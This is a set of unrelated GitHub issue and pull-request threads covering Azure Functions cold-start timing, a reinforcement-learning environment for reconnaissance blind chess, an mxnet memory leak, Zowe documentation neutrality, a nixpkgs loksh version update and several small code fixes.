The idea of my test was to find out when an API end point is hit by the cold start issue. For that, the four http functions are called in different intervals: every 5 minutes, every 10, 15 and 30 minutes. You can read the full logs here*, but let's look at the relevant part:
6-07-28T08:30:00.144 https://<my function api host for5 minutes>/api/HttpTriggerNodeJS1 needed 141ms to complete the request
2016-07-28T08:30:00.175 https://<my function api host for5 minutes>/api/HttpTriggerNodeJS1 needed 172ms to complete the request
2016-07-28T08:30:03.314 https://<my function api host for30 minutes>/api/HttpTriggerNodeJS1 needed 3311ms to complete the request
2016-07-28T08:30:03.393 https://<my function api host for30 minutes>/api/HttpTriggerNodeJS1 needed 3390ms to complete the request
2016-07-28T08:30:03.610 https://<my function api host for15 minutes>/api/HttpTriggerNodeJS1 needed 3607ms to complete the request
2016-07-28T08:30:03.642 https://<my function api host for15 minutes>/api/HttpTriggerNodeJS1 needed 3639ms to complete the request
2016-07-28T08:30:07.234 https://<my function api host for10 minutes>/api/HttpTriggerNodeJS1 needed 7230ms to complete the request
2016-07-28T08:30:07.234 Function completed (Success, Id=4015d7f4-8eed-4d93-8184-252ef02713ef)
2016-07-28T08:30:07.265 https://<my function api host for10 minutes>/api/HttpTriggerNodeJS1 needed 7262ms to complete the request

As you can see, only the API that is repeatedly called every 5 minutes has a sane response time, every other endpoint has brutal response times above 3 seconds.
I then tried to put another time triggered function into the 30 minute API function app and have it be called repeatedly every 5 minutes. I thought that this would keep the host "warm" but it had no effect and the 30 minute API function still needed way too long to respond. Is each function hosted in its own host, even though they are part of the same function app?
*The logs are from the functions portal/web interface and seem to be missing a lot of invocations. I think that it should be mostly fine however, since the trigger function lists all API calls correctly.
Side remarks that I found during developing:

Right now, my time triggered function is always invoked twice. Not sure why this is happening, but I hope this will not happen after GA
The console showed that node version 4.3.1 was installed, the docs say it is 5.9.1
Some node code parts that are valid JavaScript and run fine on my local machine would create weird behavior as an Azure function, and run forever. Looking at this gist, version B sometimes produced execution times > 5 minutes (!!!) while version A usually executes within less than 100ms.
Measured execution times for empty functions (only context.done()) are too high and range between 50 and 700 (!!!) ms. Both the wide range and the high execution times would make billing quite unfair and unpredictable compared to Amazon Lamdba.
One function app completely broke and I couldn't recover it. Neither restarting nor something else would help (git deployments, etc.). I couldn't test the function and the trigger didn't work either, I got some 503 errors. I think this was after manually changing the function enabled status in the web interface although I deployed the functions via source control (Haven't retried it though)

Keep up the good work! :)

Multiple functions do reuse the same host, but that host can be scaled to multiple VMs (each potentially running several of the functions in the app).
Hosts that are unused for 5 minutes get idled out. So having your timer be every 5 minutes puts you right on the Edge.
In term of testing host reuse, you may want to try incrementing a static variable to tell apart new host vs reuse. This will be more reliable than clock time.
I know I didn't address everything in your issue, and it may be better to open separate issues for unrelated things, like the code not running correctly.

I should add that we are working on optimizing the cold start scenario.

I'll respond quickly to a few of the points you brought up, but I agree with David that for any specific issues you should open separate bugs. Thanks for the feedback!

Last week we released a fix for the duplicate timer trigger issue. You shouldn't be seeing that anymore if you move to the latest 0.4 runtime version. See release notes here: https://github.com/Azure/azure-webjobs-sdk-script/releases/tag/v1.0.0-beta1-10355
Regarding Node version. If you move to the latest 0.4 runtime version, you'll see that the version is 5.9.1
billing will only take into consideration the time your function code actually runs (including any input/output bindings), and won't include any of our pipeline code before/after the invocation

in the .5 version, I can see response time up to 1-5 MINUTES on a dynamic plan. This is with a keep alive hitting my endpoint every 4 minutes. Going nuts here.

Being discussed in #298.


Feature request - Adding KDS based icons

When adding criteria information on the source KDS is lost. By adding KDS-based Icons this information could be retained.
Example:

@kleinertp - please confirm wether this feature should be implemented


Environment for Reinforcement Learning Algorithms?

It would be amazing if an environment (such as an openai-gym environment) can be provided that makes it easy to plug and play with reinforcement learning libraries.

I spent some time searching for one and it looks like open_spiel (a collection of environments for board games by deepmind) has one for RBC: https://github.com/deepmind/open_spiel/blob/master/docs/games.md#reconnaissance-blind-chess

I spent some time searching for one and it looks like openspiel open_spiel (a collection of environments for board games by deepmind) has one for RBC: https://github.com/deepmind/open_spiel/blob/master/docs/games.md#reconnaissance-blind-chess
can you find any demo in  openspiel?  i can't use it  in my python  project

can you find any demo in openspiel? i can't use it in my python project

btw,it is highly recommended to organized the code in the way of   openai-gym, feature engineering waste me lot of time

can you find any demo in openspiel? i can't use it in my python project

it would be appropriate to ask this at https://github.com/deepmind/open_spiel

btw,it is highly recommended to organized the code in the way of openai-gym, feature engineering waste me lot of time

while this is off-topic, i'll answer in brief
there are limitations that openai-gym environments have, which make them hard to scale in production. Many RL libraries end up rolling their own extensions or their own environment solutions for example see rllib's Environments. I'm sure open_spiel had their own rationale and again it would be appropriate to ask at their repo.

thank you for your reply

Thanks for the comments. I see two major issues with treating RBC as a reinforcement learning environment using an OpenAI-gym style API:

As in any multiplayer game, your opponent's policy is part of the environment. RBC in general cannot be a single environment; RBC against a random player would be one, RBC against trout.py would be another... and so on.
Each step of a player's turn involves different kinds of information (if/where the opponent captured, what pieces you sensed, what move resulted from your request) and actions (sense or move). RBC therefore does not have a clear observation space or a single action space, except perhaps the concatenation of all of these separate kinds. Gym environments must have relatively simple observation and action spaces.

This second point in particular is why feature engineering may be a significant part of a machine-learning agent for RBC. It's not time wasted, it's research!

I would just like to point out that, while the above two points are valid concerns for vanilla OpenAI Gyms, recent RL environments are able to handle both of these two points, such as OpenSpiel.
There is a RL environment for RBC out there that you can use to train RL agents in a plug and play fashion (linked above).

Typically, you would iteratively train an agent against previous versions of itself in order to advance from training against random actions to training against a strong opponent.

OpenSpiel does support self play.


内存问题

您好！我尝试训练了CNN的方案，加入了大小写字母，把输出改为62；
内存很快就占满了，看起来好像是用过的样本没有被释放掉，我刚开始用mxnet，请问是不是用过的样本要及时清理，在哪里修改代码呢？谢谢

是内存满了，还是显存满了？

非常感谢，这么快就回复了！ 是内存满了，交换内存都占了很多

要不你把你的程序提交到你的某个项目里，让我瞅一眼？

memory  呼呼的涨啊，再过一会儿就满了，跑一个batch要半个小时

从你的日志看不是6分钟一个epoc吗

刚开始的时候内存没用完，速度会很快，再往后内存用完，每次去申请swap memory，速度就会变的奇慢

有可能是python-captcha 的问题。https://pypi.python.org/pypi/memory_profiler  你可以用这个做一下memory profile

我把python-captcha拿出来单独跑，确实是内存泄漏！谢谢

👍


:sparkles: Restructure application facts

First, I don't have a good feel for what these facts are.  I'm not familiar.
I agree that facts should not be used when tags are a good fit to represent the same thing.  For example a fact of: language=Java or persistence=EJB should be a tag.
However, I have seen examples that suggest that facts generated by windup have complex values that seem like information about the application that goes beyond classification (tags) and doesn't represent an issue to be remedied (violation).
For example: The JPA session factories, configurations and entities depicted here. I don't see how this can/should be represented as tags not does it seem to describe a problem to be solved. It just seems like metadata (facts). But, again, I have no idea how this fact example is useful to the user as part of modernization.

After our discussion earlier, we are not going to consider application facts, it is descoped.


Fixed Volume misspelling

I think volumneSize is used in a couple of other places, they probably need updated too.

@TristanWright PTAL

Current coverage is 59.18% (diff: 100%)

Merging #482 into master will not change coverage

@@             master       #482   diff @@
==========================================
  Files            59         59
  Lines          2874       2874
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
  Hits           1701       1701
  Misses         1173       1173
  Partials          0          0

Powered by Codecov. Last update 0da521a...2586b65

I think I got them all. I had to fix a couple in HPCCloud.js. This file is regenerated when you run 'npm run build' right? Should it be stored in the repo?

Looks like you got all the volumneSize's fixed.
HPCCloud is regenerated when you run npm run build you should never have to edit it. I don't know why it's in the repository, we also haven't rebuilt and committed it in a while so I did in the last commit.
LGTM


⚠ AsianCinema has degraded performance

In 21c1b5b, AsianCinema ($ACM) experienced degraded performance:

HTTP code: 200
Response time: 1060 ms

Resolved: AsianCinema performance has improved in 11d6730 after 6 minutes.


Automated delivery of custom firmware

Right now the process for delivering firmware to our flight team is a manual process. We should automate it.
Acceptance Criteria

[ ] Local RSE server is in place and operational in office
[ ] GitHub action to build firmware to local RSE server

Moved to SRA Repo.


Fix UI things for Profile 2.0

See the commits and messages for the list of tweaks...
🔥

Went over this with @rynbyjn in person 👬


Zowe Must Remain Vendor-Neutral

Description

In the Zowe documentation, any time it is considered important or necessary to make a reference or provide a link to a vendor' commercial offering, if must be made absolutely clear that the Zowe community does not (a) endorse the solution or (b) perform any validation to confirm ongoing compatibility with Zowe.
Pages to Update

https://docs.zowe.org/stable/user-guide/systemrequirements-zos/#multi-factor-authentication-mfa
(Note - this might not be the only page requiring an update.  A thorough review is recommended by the ZAC.)
Screenshots

n/a
Expected behavior

The phrase "The following are known to work:" preceding the link to the IBM MFA Solution should be replaced with a standard (can be repeated anywhere in the doc as needed) paragraph which clearly and concisely makes the point that the Zowe community does not endorse or validate the commercial offering.
Suggest this text as a new paragraph:
The following commercial product offerings have been identified as compatible with Zowe for this purpose.  Please note that Zowe does not endorse these specific offerings for this purpose, nor does the Zowe community perform any ongoing validation of the compatibility of these solutions with Zowe for this purpose.  For more information please contact your commercial vendor.
Additional context

The doc link provided for MFA may not be the only place in the Zowe doc where a specific commercial product is called out or linked.  I recommend a thorough review of the doc for commercial product references, and that similar text be included in front of those references as well.

I'd also wonder if addressing this via the Conformance Program is a better approach.

Even if we create a conformance program for MFA, and continue to create new conformance programs every time someone finds another reason to call out a commercial offering in the doc, it still doesn't change the fact that the doc page in question reads like an endorsement of a commercial product to the exclusion of other vendor products, and creates the expectation that the Zowe community does validation of that commercial solution to confirm its ongoing compatibility.  The Zowe Doc cannot do that, it must remain completely vendor-neutral.  At the very least, if we had a conformant program for MFA which we currently do not, we should refer the reader to the conformance page.  We should not point the user to a vendor website without being absolutely clear that it does not represent an endorsement or set any expectations about validation.

That I do agree with @pdubz3 - it basically puts the doc squad in the position of validating commercial solution integration. They have good intentions, but this is better done with the conformance program.

@pdubz3 Hi Mike, is there a list of the commercial product offerings so we could check in the docs?


loksh: 7.5 -> 7.6

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/dimkr/loksh/releases.
meta.description for loksh is: Linux port of OpenBSD's ksh
meta.homepage for loksh is: https://github.com/dimkr/loksh
Updates performed

Version update

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 7.6 in filename of file in /nix/store/g1mac2kzyypc5i24z678wxadk88mcsfz-loksh-7.6

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

loksh

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/g1mac2kzyypc5i24z678wxadk88mcsfz-loksh-7.6 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A loksh https://github.com/r-ryantm/nixpkgs/archive/e0d8312dc8a66d278bb10925df5d8b737dc90a61.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/e0d8312dc8a66d278bb10925df5d8b737dc90a61#loksh

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/g1mac2kzyypc5i24z678wxadk88mcsfz-loksh-7.6
ls -la /nix/store/g1mac2kzyypc5i24z678wxadk88mcsfz-loksh-7.6/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

3 packages built:

loksh
loksh.doc
loksh.man

Maintainer pings
cc @AndersonTorres @CameronNemo for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

@NixOS/nixpkgs-merge-bot merge


improve scraper

This should be fixed for both

[ ] the scraper, so that rerunning will lead to correct results
[ ] fix the current mergedDatasets.csv

Tasks

[ ] delete common_name_de or common_name_en which begin with unique name (the unique name is allowed to be longer)
[ ] German name import is a bit broken: remove (Pflanze), (Sorte) und "true" in common_name_de (maybe fix the scraper and rerun)

Right now, we use https://www.wikidata.org/ to look up German names. Do we know of better sources where I could fetch German (and maybe scientific) names?
I found https://www.floraweb.de/ and https://www.infoflora.ch/en/, but the plants in their databases seem to be limited to their respective countries, and they include all plants, not just those relevant to permaculture.

We have a few cases where we have names with '(.*)' in them. Some are irrelevant information that I will remove, but for others like 'vogelkirsche (baum)', it's relevant, since there is also a 'vogelkirsche (hecke)' (not in our database). Should I keep it in the '(.*)' format?

Right now, we use https://www.wikidata.org/ to look up German names. Do we know of better sources where I could fetch German (and maybe scientific) names?

Wikipedia per se is a very good source, you only need to remove the brackets and make the scraping more robust.

but for others like 'vogelkirsche (baum)', it's relevant, since there is also a 'vogelkirsche (hecke)' (not in our database). Should I keep it in the '(.*)' format?

Good observation but also this case is irrelevant. So you can discard Baum/Hecke, too. It is no problem if several plants have the same common name, this is why we have unique names :wink:

pr #799


add simple calc_depth() function

@jread-usgs - review, please? trying to stay true to the units checking style you started - i like how it's optional but rigorous when you do it.
@robohall - this is the very simple version i had in mind when i created issue #27 . let's talk sometime (tomorrow?) about baby steps we can take to make this depth estimate better. or maybe we'll decide to keep this as a simplest-possible placeholder until we have the best-possible depth estimates from your undergrad's summer work, without trying to insert intermediate-quality estimates.

Coverage decreased (-0.56%) to 89.39% when pulling 9fce846a89df150709085123dfb2f8ba48a9c754 on aappling-usgs:master into cfbbd792f444fe99c20bb21041e4d447e5902827 on USGS-R:master.


[react-apollo] Move default type variable

By moving the type variable default definition the component becomes more usable.
Now we do not have to annotate the type of the variables, explicitly, in the child function, if they are not required.

Plz rerun test


Improve readability of settings

The settings are a touch to dark. Would be great if you could use a lighter color for better readability

Tx Fabian, for some reason this is only happening in Windows.

For now I'll disable the dark theme support and add it back once tested on all platforms